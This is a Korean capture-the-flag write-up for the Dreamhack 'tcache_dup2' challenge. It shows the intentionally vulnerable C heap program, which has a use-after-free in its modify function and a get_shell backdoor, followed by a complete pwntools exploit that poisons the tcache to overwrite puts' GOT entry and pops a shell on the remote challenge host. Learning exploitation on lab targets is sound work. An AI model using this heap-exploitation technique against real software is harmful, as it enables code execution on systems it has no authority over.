#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
double free는 되지 않지만, 원하는 청크를 modify 할 수 있기에 사실상 같은 취약점이 존재한다고 봐도 무방하다.
https://velog.io/@mm0ck3r/Dreamhack-tcachedup 참조 한 번 하도록 하자.
from pwn import *
REMOTE = True
e = ELF('./tcache_dup2')
if not REMOTE:
r = process('./tcache_dup2')
else:
r = remote('host3.dreamhack.games', 10126)
sla = r.sendlineafter
sa = r.sendafter
def Create(size, data):
sla('> ', '1')
sla('Size: ', str(size))
sa('Data: ', data)
def Modify(idx, size, data):
sla('> ', '2')
sla('idx: ', str(idx))
sla('Size: ', str(size))
sa('Data: ', data)
def Delete(idx):
sla('> ', '3')
sla('idx: ', str(idx))
puts_got = e.got['puts']
get_shell = e.symbols['get_shell']
Create(0x18, 'a')
Create(0x18, 'a')
Delete(0)
Delete(1)
Modify(1, 0x8, p64(puts_got))
Create(0x18, 'a')
Create(0x18, p64(get_shell))
r.interactive()
got overwrite를 한 것인데, puts의 got 주소에 fake Chunk를 만들어 get_shell을 입력하였다. 그렇다면 문제는 풀린다.
코드상에서 puts가 언제 실행이되나요?